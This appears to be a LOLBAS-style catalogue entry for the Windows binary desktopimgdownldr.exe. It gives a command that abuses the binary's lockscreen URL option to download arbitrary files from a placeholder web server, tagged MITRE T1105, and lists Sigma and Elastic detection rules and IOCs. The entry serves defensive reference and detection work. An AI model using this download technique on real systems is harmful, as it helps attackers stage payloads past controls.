--- Name: Desktopimgdownldr.exe Description: Windows binary used to configure lockscreen/desktop image Author: Gal Kristal Created: 2020-06-28 Commands: - Command: set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr Description: Downloads the file and sets it as the computer's lockscreen Usecase: Download arbitrary files from a web server Category: Download Privileges: User MitreID: T1105 OperatingSystem: Windows 10, Windows 11 Full_Path: - Path: c:\windows\system32\desktopimgdownldr.exe Code_Sample: - Code: Detection: - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_desktopimgdownldr.yml - Sigma: https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/file_event/win_susp_desktopimgdownldr_file.yml - Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml - IOC: desktopimgdownldr.exe that creates non-image file - IOC: Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl Resources: - Link: https://labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/ Acknowledgement: - Person: Gal Kristal Handle: '@gal_kristal' ---